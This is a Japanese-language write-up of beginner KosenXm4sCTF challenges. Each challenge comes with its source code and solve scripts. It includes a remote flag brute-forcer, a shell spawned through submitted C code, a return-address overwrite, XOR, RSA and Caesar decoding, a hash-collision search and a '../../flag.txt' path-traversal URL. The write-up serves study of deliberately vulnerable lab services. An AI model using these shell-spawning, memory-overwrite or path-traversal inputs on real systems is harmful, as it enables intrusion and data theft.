KosenXm4sCTF writeup
GitHub - KosenXmasCTF/problems: 問題一覧のリポジトリです
目次
成績
Writeup
Pwn
match_flag
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<string.h> int main() { // set up for CTF setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); FILE *fp = fopen("./flag.txt", "r"); if(fp == NULL) { puts("flag.txt not found!"); exit(0); } char flag[0x100]; fgets(flag, 0x100, fp); char input[0x100]; fgets(input, 0x100, stdin); int len = strlen(input) - 1; if(strncmp(flag, input, len) == 0) { puts("Correct!!!"); } else { puts("Incorrect..."); } }
入力した文字数だけflagと比較してくれるので総当たりするだけ。 solve.py
from pwn import * pattern = ' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!"#$%&\'()*+,-./:;<=>?@[\\]^`|}' s = 'xm4s{' f = True while f: for c in pattern: p = remote('27.133.155.191', 30009) p.sendline(s+c) ret = p.recvline() log.warn(s) if 'Correct' in str(ret): s += c log.warn('flag : ' + s) if c == '}': f = False break else: f = False
$ python3 solve.py [!] flag : xm4s{you got flag finaly hahaha}
本番では英数字・記号全部含めてもヒットしなかったので焦りましたが、flagにはスペースを使っているようです。
beginners_shell
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); char program[0x1000]; puts("Enter your program!"); fgets(program, 0x1000, stdin); FILE *fp = fopen("/tmp/program.c", "w"); fprintf(fp, "%s", program); fclose(fp); system("rm /tmp/program"); system("gcc /tmp/program.c -o /tmp/program"); system("/tmp/program"); system("rm /tmp/program"); }
入力したCのプログラムをそのまま実行してくれるらしい。
$ nc 153.125.225.197 30002 Enter your program! int main() { system("/bin/sh"); } ... cat flag.txt xm4s{Yes!!To_get_SHELL_is_goal}
dead_or_alive
main.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> char* get_secret_password() { char password[0x1000]; // I can get very very long password!! FILE *fp = fopen("./password.txt", "r"); if(fp == NULL) { puts("password.txt not found."); exit(0); } fgets(password, 0x1000, fp); char* ret = password; return ret; } void login(char *password) { char input[512]; printf("Input your password:"); fgets(input, 512, stdin); if(strcmp(input, password) == 0) { puts("You logged in!"); system("/bin/sh"); } } void hello() { char name[0x1000]; puts("Tell me your name!"); fgets(name, 0x1000, stdin); printf("Hello %s\n", name); } int menu() { int ret; printf( "0: Hello\n" "1: Login\n" ); scanf("%d%*c", &ret); return ret; } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); char* pass = get_secret_password(); while(1) { int option = menu(); if(option == 0) { hello(); } else if(option == 1) { login(pass); } } }
hello()とget_secret_password()が確保する領域が同じになるので,hello()で入力した名前がそのままpasswordに変わる。 なのでhello()とlogin()で同じ文字列を入力するだけ
$ nc 153.125.225.197 30005 0: Hello 1: Login 0 Tell me your name! a Hello a 0: Hello 1: Login 1 Input your password:a You logged in! cat flag.txt xm4s{welc0me_t0_undergr0und}
write_where_what
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> void call_me_to_win() { system("/bin/sh"); } int main() { // set up for CTF setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); printf("call_me_to_win at %p\n", call_me_to_win); unsigned long value = 1; // I like unsigned long value! printf("%lx\n", &value); size_t where, what; printf("where:"); scanf("%lx", &where); printf("what:"); scanf("%lx", &what); *(size_t*)where = what; // where に what を書き込む }
2番目に表示されたvalueのアドレス+40(0x28)をwhereに入力し、whatにcall_me_to_winのアドレスを入力する。
$ nc 153.125.225.197 30003 call_me_to_win at 0x401e15 7ffcc4619b50 where:0x7ffcc4619b78 what:0x401e15 cat flag.txt xm4s{i_can_rewrite_memory...}
Rev
strings_binary
$ strings binary_strings | grep xm4s xm4s{strings_binary_is_simple_and_powerful!}
countdown
binaryをアセンブルすると
0x0000000000401a62 <+4>: sub rsp,0x30 0x0000000000401a66 <+8>: lea rdi,[rip+0x5af] ## 0x40201c 0x0000000000401a6d <+15>: call 0x401030 <puts@plt> 0x0000000000401a72 <+20>: mov eax,0x0 0x0000000000401a77 <+25>: call 0x4018c8 <wait> 0x0000000000401a7c <+30>: call 0x401172 <generate_flag> 0x0000000000401a81 <+35>: lea rdi,[rip+0x5a8] # 0x402030 0x0000000000401a88 <+42>: call 0x401030 <puts@plt> 0x0000000000401a8d <+47>: lea rdi,[rip+0x5c0] # 0x402054 0x0000000000401a94 <+54>: mov eax,0x0 0x0000000000401a99 <+59>: call 0x401040 <printf@plt>
generate_flagに飛べばflagが出そうということがわかったのでset $rip=0x401a7c
してgenerate_flagで飛ぶ。
実行はgdbで行った。
実行を進めると
[----------------------------------registers-----------------------------------] RAX: 0x23 ('#') RBX: 0x0 RCX: 0x7d ('}') RDX: 0x404080 ("xm4s{kotoshimo_mou_nennmatsu_desune}") RSI: 0x20 (' ') RDI: 0x402030 ("Happy new year! We check your flag!") RBP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>: push r15) RSP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>: push r15) RIP: 0x401a88 (<main+42>: call 0x401030 <puts@plt>) R8 : 0x7ffff7dced80 --> 0x0 R9 : 0x7ffff7dced80 --> 0x0 R10: 0x0 R11: 0x0 R12: 0x401090 (<_start>: xor ebp,ebp) R13: 0x7fffffffeaa0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401a77 <main+25>: call 0x4018c8 <wait> 0x401a7c <main+30>: call 0x401172 <generate_flag> 0x401a81 <main+35>: lea rdi,[rip+0x5a8] # 0x402030 => 0x401a88 <main+42>: call 0x401030 <puts@plt> 0x401a8d <main+47>: lea rdi,[rip+0x5c0] # 0x402054 0x401a94 <main+54>: mov eax,0x0 0x401a99 <main+59>: call 0x401040 <printf@plt> 0x401a9e <main+64>: lea rax,[rbp-0x30]
rdxにflagがセットされている。
first_asm
first_asm.c
/* gcc -O0 -o binary binary.c check_flag.s */ #include <stdio.h> #include <stdbool.h> extern bool check_flag(char* input); int main(void) { char input[33]; printf("+------------+\n"); printf("|FLAG CHECKER|\n"); printf("+------------+\n"); printf("Input: "); scanf("%32s%*c", input); if (check_flag(input)) { printf("Correct!\n"); } else { printf("Wrong...\n"); } }
check_flag.s
.intel_syntax noprefix .globl check_flag, key, answer /* mov a, b a = b add a, b a = a + b xor a, b a = a ^ b lea a, b a = &b SIZE PTR [a] aからSIZE分読みこむ QWORD: 8byte DWORD: 4byte WORD: 2byte BYTE: 1bytes jmp label goto label cmp a, b j** label jne: if (a != b) goto label jle: if (a <= b) goto label rax, rbx, cl, dl レジスタ。一時変数だと思っても問題ないが、このアーキテクチャではいくつか変数には役割がある rdi: 第一引数 rax: 返り値 rbp: スタックの一番下を指すポインタ その他rspなどにも役割は存在するが、今回は関係ないので割愛する。 スタック: ローカル変数に割り当てられるメモリのこと。 +------+ + 0x14 + +------+ <= rbp - 4 + 0x13 + +------+ <= rbp - 3 + 0x12 + +------+ <= rbp - 2 + 0x11 + +------+ <= rbp - 1 + 0x10 + +------+ <= rbp BYTE PTR [rbp - 4]は 0x13、 DWORD PTR [rbp - 4]は 0x10111213 に当たる。 */ # Let's reversing! key: .string ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t" answer: .string "CAn_U_Re4d_A55emBly?L3t's_tRY_it" check_flag: # 関数の開始処理 (おまじない) push rbp mov rbp, rsp mov QWORD PTR [rbp - 0x8], rdi mov QWORD PTR [rbp - 0x10], 0 .for_start: mov rax, QWORD PTR [rbp - 0x8] mov rbx, QWORD PTR [rbp - 0x10] mov cl, BYTE PTR [rax + rbx] lea rax, key mov rbx, QWORD PTR [rbp - 0x10] mov dl, BYTE PTR [rax + rbx] xor cl, dl lea rax, answer mov rbx, QWORD PTR [rbp - 0x10] mov dl, BYTE PTR [rax + rbx] cmp cl, dl jne .if_false .if_true: jmp .if_end .if_false: mov eax, 0 jmp .function_end .if_end: .for_end: add QWORD PTR [rbp - 0x10], 1 cmp QWORD PTR [rbp - 0x10], 32 jle .for_start mov eax, 1 .function_end: # 関数の終了処理 (おまじない) leave ret
とても丁寧な解説があったが、アセンブリ読みたくなかったので気合で解くことにした(すみません)
まずはanswerの文字列を入力したがWrong..
と出たため違う方法を考える。
その上にkeyというのがあり、仕方なくアセンブリを少し読むとxor命令が出てきてたのでxor暗号的なやつと推測。
スクリプトを書く。
solve.py
key = ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t" base = "CAn_U_Re4d_A55emBly?L3t's_tRY_it" for i in range(len(base)): print(chr(ord(key[i])^ord(base[i])), end='')
$ python3 solve.py xm4s{we1c0me_t0_a55emb1y_w0r1d!}%
実行すると答えが出た。
Crypto
do_you_know_RSA?
param.txt
N = 872466878637044085809546928077402525188932163354013071311247 p = 1202641222143185422372899516011 E = 65537 crypted message is 736752258923832368359268459529023058483734448152703465168101
RSAの初心者問題。解くだけ。 solve.py
N = 872466878637044085809546928077402525188932163354013071311247 p = 1202641222143185422372899516011 q = N // p e = 65537 c = 736752258923832368359268459529023058483734448152703465168101 phi = (p-1) * (q-1) from Crypto.Util.number import * d = inverse(e, phi) m = pow(c, d, N) print(long_to_bytes(m))
$ python3 solve.py b'xm4s{dont_leak_p_and_q!!}'
advanced_caesar
encrypted_flag.txt
xn4u{fejyhzwyjazwzqkszurwhyqaop}
flag形式がxm4s
なのでそこから推測すると最初は0, 次は1, 2...nずれていることがわかるのでそれを元に戻す。
solve.py
s = 'xn4u{fejyhzwyjazwzqkszurwhyqaop}' def caesar_decode(c, n): return chr((ord(c)-ord('a')-n) % 26 + ord('a')) import codecs i = 0 for c in s: if c.isalpha(): print(caesar_decode(c, i), end='') i += 1 else: print(c, end='')
$ python3 solve.py xm4s{caesarnoyomikatagawakarann}%
bad_hash
hash.py
#!/bin/python3 def hash(base): xor_sum = 0 mod_sum = 0 for c in base.encode(): xor_sum ^= c mod_sum += c mod_sum %= 100 return (xor_sum, mod_sum) with open("./password.txt") as f: answer = f.read() ans_x, ans_m = hash(answer) print(f'ans_x {ans_x}, ans_m {ans_m}') user_input = input() if 10 <= len(user_input): print("too long...") inp_x, inp_m = hash(user_input) print(f'inp_x {inp_x}, inp_m {inp_m}') if ans_x == inp_x and ans_m == inp_m: print("You hava a password!!") with open('./flag.txt') as f: print(f.read())
$ nc 153.125.225.197 30010 ans_x 88, ans_m 36
どうやらans_xが88, ans_mが36になるような何かを入力すれば良いらしい。 綺麗な解法があるのだろうが、私はゴリ押しでやった。
solve.py
def hash(base): xor_sum = 0 mod_sum = 0 for c in base.encode(): xor_sum ^= c mod_sum += c mod_sum %= 100 return (xor_sum, mod_sum) import string for c1 in string.ascii_letters: for c2 in string.ascii_letters: for c3 in string.ascii_letters: s = c1+c2+c3 print(s + ':' + str(hash(s)))
for文を三重にしたあたりで欲しい値が出たのでそれを使うことに。
$ python3 solve.py | grep 88 | grep 36 HJZ:(88, 36) HZJ:(88, 36) JHZ:(88, 36) JJX:(88, 36) JXJ:(88, 36) JZH:(88, 36) XJJ:(88, 36) ZHJ:(88, 36) ZJH:(88, 36)
どれかを使えば良いでこれを入力するとflagが出る。
$ nc 153.125.225.197 30010 ans_x 88, ans_m 36 HJZ inp_x 88, inp_m 36 You hava a password!! xm4s{xor_and_modsum!double_hash!!}
Web
bad_path
index.php
<?php $content = ""; if (isset($_GET["ext"])) { $content = file_get_contents("resource/" . $_GET["ext"]); } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HelloWorld</title> <style type="text/css"> pre { margin: 1em 0; padding: 1em; background: #25292f; color: #fff; white-space: pre-wrap; } </style> </head> <body> <h1>Hello World!</h1> <form> <select name="ext"> <option value="hello.js">JavaScript</option> <option value="hello.py">Python</option> <option value="hello.rs">Rust</option> <option value="hello.c">C</option> </select> <input type="submit" value="View"> </form> <pre><?php echo htmlspecialchars($content, ENT_QUOTES) ?></pre> </body> </html>
Dockerfile
FROM php:8.0-apache ADD ./index.php /var/www/html/index.php ADD ./flag.txt /var/www/flag.txt ADD ./resource/ /var/www/html/resource/
https://bad-path.xm4s.net/index.php?ext=../../flag.txt
でアクセスするとflagが出る。